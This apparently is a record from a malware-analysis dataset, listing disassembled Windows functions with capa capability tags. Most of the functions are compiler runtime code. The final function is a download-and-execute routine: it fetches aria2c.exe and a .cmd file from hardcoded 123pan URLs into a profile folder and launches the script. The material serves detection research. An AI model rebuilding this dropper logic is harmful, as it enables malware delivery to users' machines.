joyce8/EMBER2024-capa huggingface dataset:
Function at 0x2fc539110
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call fcn.2fc53a1f0
call sub.api_ms_win_crt_runtime_l1_1_0.dll_abort
nop

Function at 0x2fc539b12
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x2fc55c108]
test eax, eax
je 0x2fc539baa
lea rax, [0x2fc55c0e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x2fc55c110]
mov qword [rbp - 8], rax
jmp 0x2fc539b8e
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x2fc539b82
cmp qword [rbp - 0x10], 0
je 0x2fc539b82
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x2fc539b48
lea rax, [0x2fc55c0e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x2fc539bab
nop
add rsp, 0x30
pop rbp
ret

Function at 0x2fc539cb0
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x2fc539cd8
mov eax, 0
jmp 0x2fc539d26
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x2fc539d01
mov eax, 0
jmp 0x2fc539d26
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x2fc539d21
mov eax, 0
jmp 0x2fc539d26
mov eax, 1
add rsp, 0x20
pop rbp
ret
Function at 0x2fc539d2c
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x2fc539daa
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x2fc539da1
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x2fc539da1
mov rax, qword [rbp - 8]
jmp 0x2fc539dbf
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x2fc539d74
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x1400015d0
Capabilities:
Create http request
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
push r15
mov eax, 0x1058
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
call fcn.14000bdc0
sub rsp, rax
xor r9d, r9d
xor r8d, r8d
xor r15d, r15d
mov dword [rsp + 0x20], 0
mov r13, rcx
mov r14, rdx
lea rcx, str.WinINetDownloader
mov edx, 1
call qword [sym.imp.WININET.dll_InternetOpenA]
mov r12, rax
test rax, rax
je 0x140001711
mov rdx, r13
xor r9d, r9d
xor r8d, r8d
mov rcx, rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x80000000
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov rbx, qword [sym.imp.WININET.dll_InternetCloseHandle]
mov r13, rax
test rax, rax
je 0x14000170c
mov rcx, r14
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 2
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov r14, rax
cmp rax, 0xffffffffffffffff
je 0x140001700
mov rsi, qword [sym.imp.WININET.dll_InternetReadFile]
lea rdi, [rsp + 0x48]
lea rbx, [rsp + 0x50]
mov rbp, qword [sym.imp.KERNEL32.dll_WriteFile]
lea r15, [rsp + 0x4c]
jmp 0x1400016dc
mov r8d, dword [rsp + 0x48]
test r8d, r8d
je 0x1400016f1
mov qword [rsp + 0x20], 0
mov r9, r15
mov rdx, rbx
mov rcx, r14
call rbp
test eax, eax
je 0x1400016f1
mov eax, dword [rsp + 0x48]
cmp dword [rsp + 0x4c], eax
jne 0x1400016f1
mov r9, rdi
mov r8d, 0x1000
mov rdx, rbx
mov rcx, r13
call rsi
test eax, eax
jne 0x1400016b0
mov rcx, r14
mov r15d, 1
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r13
call rbx
mov rcx, r12
call rbx
mov eax, r15d
add rsp, 0x1058
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
Function at 0x140001730
Capabilities:
Delete directory
Delete file
Enumerate files on windows
Enumerate files recursively

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x398
lea r8, str._s
mov edx, 0x104
mov r13, qword [0x1400b9150]
lea r12, [rsp + 0x30]
lea rbp, [rsp + 0x250]
mov r9, rcx
mov rsi, rcx
mov rcx, r12
call r13
mov rcx, r12
mov rdx, rbp
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov r12, rax
cmp rax, 0xffffffffffffffff
je 0x1400017fb
mov r14, qword [sym.imp.KERNEL32.dll_FindNextFileA]
mov r15, qword [sym.imp.KERNEL32.dll_DeleteFileA]
lea rbx, [rsp + 0x27c]
lea rdi, [rsp + 0x140]
test byte [rsp + 0x250], 0x10
je 0x140001810
cmp word [rbx], 0x2e
je 0x1400017e4
cmp word [rbx], 0x2e2e
je 0x140001838
mov r9, rsi
mov edx, 0x104
mov rcx, rdi
mov qword [rsp + 0x20], rbx
lea r8, str._s_s
call r13
mov rcx, rdi
call fcn.140001730
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
mov rdx, rbp
mov rcx, r12
call r14
test eax, eax
jne 0x1400017a2
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_FindClose]
nop
add rsp, 0x398
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
mov rcx, rdi
mov qword [rsp + 0x20], rbx
mov r9, rsi
mov edx, 0x104
lea r8, str._s_s
call r13
mov rcx, rdi
call r15
jmp 0x1400017e4
cmp byte [rbx + 2], 0
je 0x1400017e4
jmp 0x1400017b9
Function at 0x14000b0f0
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.140021310
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call fcn.140021310
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop word [rax + rax]

Function at 0x14000b160
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rsi
push rbx
sub rsp, 0x50
movsxd rbx, dword [0x1400e90c4]
mov r12, rcx
test ebx, ebx
jle 0x14000b290
mov rax, qword [0x1400e90c8]
xor ecx, ecx
add rax, 0x18
nop word [rax + rax]
mov rdx, qword [rax]
cmp rdx, r12
ja 0x14000b1ac
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x14000b233
add ecx, 1
add rax, 0x28
cmp ecx, ebx
jne 0x14000b190
mov rcx, r12
call fcn.14000bb00
mov rsi, rax
test rax, rax
je 0x14000b2b2
mov rax, qword [0x1400e90c8]
lea rbx, [rbx + rbx*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rsi
mov dword [rax], 0
call fcn.14000bc30
mov ecx, dword [rsi + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x1400e90c8]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x14000b297
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x14000b22c
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x14000b240
add dword [0x1400e90c4], 1
add rsp, 0x50
pop rbx
pop rsi
pop r12
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 4
mov eax, 0x40
cmovne r8d, eax
add rbx, qword [0x1400e90c8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x14000b22c
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.14000b0f0
nop dword [rax]
xor ebx, ebx
jmp 0x14000b1b7
mov rax, qword [0x1400e90c8]
mov edx, dword [rsi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.14000b0f0
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call fcn.14000b0f0
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x14000b770
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x1400e9120]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1400e9100]
test rbx, rbx
je 0x14000b7c4
mov rdi, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [rbx]
call rdi
mov r12, rax
call rsi
test eax, eax
jne 0x14000b7bb
test r12, r12
je 0x14000b7bb
mov rax, qword [rbx + 8]
mov rcx, r12
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x14000b7a0
lea rcx, [0x1400e9120]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x14000bb00
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1400c1a30]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x14000bb20
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x14000bb28
ret
cmp word [r8 + 0x18], 0x20b
jne 0x14000bb20
movzx eax, word [r8 + 0x14]
sub rcx, rdx
movzx edx, word [r8 + 6]
lea rax, [r8 + rax + 0x18]
test edx, edx
je 0x14000bb75
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x14000bb6c
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x14000bb20
add rax, 0x28
cmp rax, r9
jne 0x14000bb58
xor eax, eax
ret

Function at 0x14000bb80
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400c1a30]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x14000bba0
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x14000bba8
mov eax, r8d
ret
cmp word [rax + 0x18], 0x20b
jne 0x14000bba0
movzx r8d, word [rax + 6]
mov eax, r8d
ret

Function at 0x14000bc30
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400c1a30]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x14000bc50
movsxd rdx, dword [rax + 0x3c]
add rdx, rax
cmp dword [rdx], 0x4550
je 0x14000bc58
mov rax, r8
ret
cmp word [rdx + 0x18], 0x20b
cmove r8, rax
mov rax, r8
ret

Function at 0x14000be00
Capabilities:
Print debug messages

Disassembly:
push r12
push rbx
sub rsp, 0x58
mov r12, rcx
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x14000be20
add rsp, 0x58
pop rbx
pop r12
ret
lea rdx, [rsp + 0x48]
mov r9d, 0x400
mov r8d, eax
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x20], rdx
mov ecx, 0x1100
xor edx, edx
mov dword [rsp + 0x28], 0
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
test eax, eax
jne 0x14000be68
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x14000be14
int3
mov rcx, qword [rsp + 0x48]
mov rbx, qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call rbx
mov rcx, r12
call rbx
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x14000be55
Function at 0x14000bf80
Capabilities:
Check mutex on windows

Disassembly:
push r12
push rsi
push rbx
sub rsp, 0x30
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
lea rdx, [0x1400e9230]
mov dword [rsp + 0x2c], eax
lea rcx, [rsp + 0x2c]
lea r9, [rsp + 0x30]
movzx eax, byte [rcx]
add rcx, 1
add rdx, 2
mov r8d, eax
and eax, 0xf
shr r8b, 4
add eax, 0x61
add r8d, 0x41
mov byte [rdx - 1], al
mov byte [rdx - 2], r8b
cmp rcx, r9
jne 0x14000bfa3
lea rax, [0x1400e9238]
mov ecx, 0x5f
lea rdx, str.__eh_shmem3_gcc_tdm_
lea r8, [rax + 0x15]
jmp 0x14000bfeb
movzx ecx, byte [rdx]
add rax, 1
add rdx, 1
mov byte [rax - 1], cl
cmp rax, r8
jne 0x14000bfe8
lea rax, [0x1400e9260]
mov ecx, 0x5f
lea rdx, str.__eh_shmem3_gcc_tdm_
lea r8, [rax + 0x14]
jmp 0x14000c01b
movzx ecx, byte [rdx]
add rax, 1
add rdx, 1
mov byte [rax - 1], cl
cmp rax, r8
jne 0x14000c018
xor ecx, ecx
mov byte [0x1400e9274], 0x2d
movabs rax, 0x6161616161616161
movabs rdx, 0x6161616161616161
mov qword [0x1400e927d], rdx
lea r8, [0x1400e9230]
lea rbx, [0x1400e9275]
mov qword [0x1400e928d], rdx
mov qword [0x1400e929d], rdx
mov qword [0x1400e92ad], rdx
xor edx, edx
mov qword [0x1400e9275], rax
mov qword [0x1400e9285], rax
mov qword [0x1400e9295], rax
mov qword [0x1400e92a5], rax
mov byte [0x1400e92b5], 0
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov edx, 0xffffffff
mov r12, rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x14000c1f6
lea rcx, [0x1400e9260]
call qword [sym.imp.KERNEL32.dll_FindAtomA]
test ax, ax
jne 0x14000c141
lea rsi, [0x1400e91a0]
lea r8, [0x1400e92b5]
mov rax, rbx
lea ecx, [rbx + 0x40]
nop dword [rax]
mov edx, ecx
sub edx, eax
bt rsi, rdx
jae 0x14000c0ed
mov byte [rax], 0x41
add rax, 1
cmp r8, rax
jne 0x14000c0e0
lea rcx, [0x1400e9260]
call qword [sym.imp.KERNEL32.dll_AddAtomA]
test ax, ax
je 0x14000c1e3
lea rcx, [0x14000be90]
mov qword [0x1400e91a0], rsi
call sub.msvcrt.dll__onexit
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, qword [0x1400e91a0]
add rsp, 0x30
pop rbx
pop rsi
pop r12
ret
mov r8d, 0x56
lea rdx, [0x1400e9260]
movzx ecx, ax
call qword [sym.imp.KERNEL32.dll_GetAtomNameA]
lea r8, [0x1400e92b5]
xor edx, edx
lea r10d, [rbx + 0x40]
mov r11d, eax
mov r9d, 1
mov rax, rbx
test r11d, r11d
je 0x14000c216
nop dword [rax]
cmp byte [rax], 0x41
jne 0x14000c193
mov ecx, r10d
mov rbx, r9
sub ecx, eax
shl rbx, cl
or rdx, rbx
add rax, 1
cmp r8, rax
jne 0x14000c180
mov rax, rdx
mov qword [0x1400e91a0], rax
lea rsi, [0x1400e91a0]
jmp 0x14000c1b9
cmp rdx, rsi
je 0x14000c11f
mov rdx, rax
mov rax, qword [rax + 8]
test rax, rax
jne 0x14000c1b0
cmp rdx, rsi
je 0x14000c11f
mov qword [rdx + 8], rsi
lea rcx, [0x14000be90]
call sub.msvcrt.dll__onexit
jmp 0x14000c11f
lea rcx, [0x1400c0400]
call fcn.14000be00
xor eax, eax
jmp 0x14000c138
lea rcx, [0x1400c03d8]
call fcn.14000be00
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
add rsp, 0x30
pop rbx
pop rsi
pop r12
ret
lea rcx, [0x1400c0428]
call fcn.14000be00
xor eax, eax
jmp 0x14000c19f
Function at 0x14000fd00
Capabilities:
Allocate thread local storage

Disassembly:
push rsi
push rbx
sub rsp, 0x28
mov rsi, qword [0x1400c1ab0]
mov rax, qword [rsi]
test rax, rax
je 0x14000fd90
cmp qword [rax + 0x30], 0
jne 0x14000fdb0
lea rbx, [0x1400b9088]
mov qword [rax + 0x30], rbx
call qword [sym.imp.KERNEL32.dll_TlsAlloc]
mov dword [rbx], eax
mov rax, qword [rsi]
test rax, rax
je 0x14000fd60
cmp qword [rax + 0x30], 0
jne 0x14000fd80
lea rdx, [0x1400b9088]
mov qword [rax + 0x30], rdx
mov rax, rdx
cmp dword [rax], 0xffffffff
je 0x1400b85b0
add rsp, 0x28
pop rbx
pop rsi
ret
call fcn.140014fd0
mov r8, rax
mov rax, qword [rsi]
cmp qword [r8 + 0x30], 0
je 0x14000fd42
test rax, rax
jne 0x14000fd80
call fcn.140014fd0
nop dword [rax]
mov rax, qword [rax + 0x30]
jmp 0x14000fd50
call fcn.140014fd0
cmp qword [rax + 0x30], 0
mov rax, qword [rsi]
je 0x14000fd20
test rax, rax
jne 0x14000fdb0
call fcn.140014fd0
nop dword [rax]
mov rbx, qword [rax + 0x30]
jmp 0x14000fd2b
call sub.msvcrt.dll_abort
nop

Function at 0x14000fdc0
Capabilities:
Print debug messages

Disassembly:
sub rsp, 0x98
movabs rax, 0x6c6320726f727245
movabs rdx, 0x7520676e696e6165
mov qword [rsp + 0x20], rax
movabs rax, 0x6b5f6e6970732070
mov qword [rsp + 0x28], rdx
movabs rdx, 0x20726f6620737965
mov qword [rsp + 0x30], rax
movabs rax, 0x20646165726874
mov qword [rsp + 0x38], rdx
xor edx, edx
mov qword [rsp + 0x40], rax
xor eax, eax
mov qword [rsp + 0x48], rdx
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x58], 0
mov qword [rsp + 0x60], 0
mov qword [rsp + 0x68], 0
mov qword [rsp + 0x70], 0
mov qword [rsp + 0x78], 0
mov qword [rsp + 0x80], 0
mov word [rsp + 0x88], ax
mov byte [rsp + 0x8a], 0
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
lea rdx, [rsp + 0x47]
mov r8d, 0xa
mov ecx, eax
call qword [sym.imp.msvcrt.dll__ultoa]
cmp byte [rsp + 0x47], 0
je 0x14000fed2
mov eax, 0x28
lea rcx, [rsp + 0x20]
jmp 0x14000feaa
add rax, 1
cmp rax, 0x6b
je 0x14000fec7
cmp byte [rcx + rax], 0
movsxd rdx, eax
jne 0x14000fea0
cmp edx, 0x6a
je 0x14000fec7
lea eax, [rdx + 1]
cdqe
mov byte [rsp + rdx + 0x20], 0xa
mov byte [rsp + rax + 0x20], 0
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call sub.msvcrt.dll_abort
mov eax, 0x28
mov edx, 0x27
lea rcx, [rsp + 0x20]
jmp 0x14000febb
Function at 0x140014e50
Capabilities:
Print debug messages

Disassembly:
push r12
push rbx
sub rsp, 0x58
mov r12, rcx
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x140014e70
add rsp, 0x58
pop rbx
pop r12
ret
lea rdx, [rsp + 0x48]
mov r9d, 0x400
mov r8d, eax
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x20], rdx
mov ecx, 0x1100
xor edx, edx
mov dword [rsp + 0x28], 0
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
test eax, eax
jne 0x140014eb8
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x140014e64
int3
mov rcx, qword [rsp + 0x48]
mov rbx, qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call rbx
mov rcx, r12
call rbx
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x140014ea5
Function at 0x140014fd0
Capabilities:
Check mutex on windows

Disassembly:
push r12
push rsi
push rbx
sub rsp, 0x30
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
lea rdx, [0x1400e9400]
mov dword [rsp + 0x2c], eax
lea rcx, [rsp + 0x2c]
lea r9, [rsp + 0x30]
movzx eax, byte [rcx]
add rcx, 1
add rdx, 2
mov r8d, eax
and eax, 0xf
shr r8b, 4
add eax, 0x61
add r8d, 0x41
mov byte [rdx - 1], al
mov byte [rdx - 2], r8b
cmp rcx, r9
jne 0x140014ff3
lea rax, [0x1400e9408]
mov ecx, 0x5f
lea rdx, str.__shmem3_winpthreads_tdm_
lea r8, [rax + 0x1a]
jmp 0x14001503b
movzx ecx, byte [rdx]
add rax, 1
add rdx, 1
mov byte [rax - 1], cl
cmp rax, r8
jne 0x140015038
lea rax, [0x1400e9440]
mov ecx, 0x5f
lea rdx, str.__shmem3_winpthreads_tdm_
lea r8, [rax + 0x19]
jmp 0x14001506b
movzx ecx, byte [rdx]
add rax, 1
add rdx, 1
mov byte [rax - 1], cl
cmp rax, r8
jne 0x140015068
xor ecx, ecx
mov byte [0x1400e9459], 0x2d
movabs rax, 0x6161616161616161
movabs rdx, 0x6161616161616161
mov qword [0x1400e9462], rdx
lea r8, [0x1400e9400]
lea rbx, [0x1400e945a]
mov qword [0x1400e9472], rdx
mov qword [0x1400e9482], rdx
mov qword [0x1400e9492], rdx
xor edx, edx
mov qword [0x1400e945a], rax
mov qword [0x1400e946a], rax
mov qword [0x1400e947a], rax
mov qword [0x1400e948a], rax
mov byte [0x1400e949a], 0
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov edx, 0xffffffff
mov r12, rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x140015246
lea rcx, [0x1400e9440]
call qword [sym.imp.KERNEL32.dll_FindAtomA]
test ax, ax
jne 0x140015191
lea rsi, [0x1400e9340]
lea r8, [0x1400e949a]
mov rax, rbx
lea ecx, [rbx + 0x40]
nop dword [rax]
mov edx, ecx
sub edx, eax
bt rsi, rdx
jae 0x14001513d
mov byte [rax], 0x41
add rax, 1
cmp r8, rax
jne 0x140015130
lea rcx, [0x1400e9440]
call qword [sym.imp.KERNEL32.dll_AddAtomA]
test ax, ax
je 0x140015233
lea rcx, [0x140014ee0]
mov qword [0x1400e9340], rsi
call sub.msvcrt.dll__onexit
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, qword [0x1400e9340]
add rsp, 0x30
pop rbx
pop rsi
pop r12
ret
mov r8d, 0x5b
lea rdx, [0x1400e9440]
movzx ecx, ax
call qword [sym.imp.KERNEL32.dll_GetAtomNameA]
lea r8, [0x1400e949a]
xor edx, edx
lea r10d, [rbx + 0x40]
mov r11d, eax
mov r9d, 1
mov rax, rbx
test r11d, r11d
je 0x140015266
nop dword [rax]
cmp byte [rax], 0x41
jne 0x1400151e3
mov ecx, r10d
mov rbx, r9
sub ecx, eax
shl rbx, cl
or rdx, rbx
add rax, 1
cmp r8, rax
jne 0x1400151d0
mov rax, rdx
mov qword [0x1400e9340], rax
lea rsi, [0x1400e9340]
jmp 0x140015209
cmp rdx, rsi
je 0x14001516f
mov rdx, rax
mov rax, qword [rax + 8]
test rax, rax
jne 0x140015200
cmp rdx, rsi
je 0x14001516f
mov qword [rdx + 8], rsi
lea rcx, [0x140014ee0]
call sub.msvcrt.dll__onexit
jmp 0x14001516f
lea rcx, str.failed_to_add_string_to_atom_table_n
call fcn.140014e50
xor eax, eax
jmp 0x140015188
lea rcx, str.failed_to_to_lock_creation_mutex_n
call fcn.140014e50
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
add rsp, 0x30
pop rbx
pop rsi
pop r12
ret
lea rcx, str.failed_to_get_string_from_atom_n
call fcn.140014e50
xor eax, eax
jmp 0x1400151ef
Function at 0x14007d790
Capabilities:
Read file on windows

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rbp, qword [sym.imp.msvcrt.dll__errno]
mov rdi, rcx
mov rsi, rdx
mov ebx, r8d
jmp 0x14007d7b7
call rbp
cmp dword [rax], 4
jne 0x14007d7d4
mov rcx, rdi
call fcn.14007d5b0
mov r8d, ebx
mov rdx, rsi
mov ecx, eax
call sub.msvcrt.dll__read
movsxd r12, eax
cmp eax, 0xffffffff
je 0x14007d7b0
mov rax, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret

Function at 0x1400b78a0
Capabilities:
Check if file exists
Create directory
Create process on windows
Delete directory
Get common file path
Get file attributes

Disassembly:
push r13
push r12
push rsi
push rbx
sub rsp, 0x478
call fcn.14000aed0
lea rsi, [rsp + 0x30]
xor r9d, r9d
xor r8d, r8d
mov edx, 0x28
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
lea rdx, str.Failed_to_get_user_profile_path
mov r12d, eax
test eax, eax
jne 0x1400b79d0
lea rbx, [rsp + 0x140]
mov r9, rsi
mov edx, 0x104
mov rsi, qword [0x1400b9150]
mov rcx, rbx
lea r8, str._slgx
call rsi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x1400b791a
test al, 0x10
jne 0x1400b79fb
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea rdx, str.Failed_to_create_folder
test eax, eax
je 0x1400b79d0
lea r13, [rsp + 0x250]
mov r9, rbx
mov edx, 0x104
lea r8, str._s_aria2c.exe
mov rcx, r13
call rsi
mov rdx, r13
lea rcx, str.https:__vip.123pan.cn_1814328088_gtx_aria2c.exe
call fcn.1400015d0
lea rdx, str.Failed_to_download_aria2c.exe
test al, al
je 0x1400b79d0
lea r13, [rsp + 0x360]
mov edx, 0x104
mov r9, rbx
mov rcx, r13
lea r8, str._s1.cmd
call rsi
mov rdx, r13
lea rcx, str.https:__vip.123pan.cn_1814328088_gtx_551.61_ykd
call fcn.1400015d0
test al, al
je 0x1400b79c1
mov dword [rsp + 0x28], 1
xor r9d, r9d
mov r8, r13
xor ecx, ecx
mov qword [rsp + 0x20], 0
lea rdx, str.open
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
jmp 0x1400b79ea
lea rdx, str.Failed_to_download_1.cmd
nop dword [rax + rax]
mov rcx, qword [0x1400c1430]
mov r12d, 1
call fcn.1400b4060
mov rcx, rax
call fcn.140001550
mov eax, r12d
add rsp, 0x478
pop rbx
pop rsi
pop r12
pop r13
ret
mov rcx, rbx
call fcn.140001730
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
lea rdx, str.Failed_to_delete_existing_folder
test eax, eax
jne 0x1400b791a
jmp 0x1400b79d0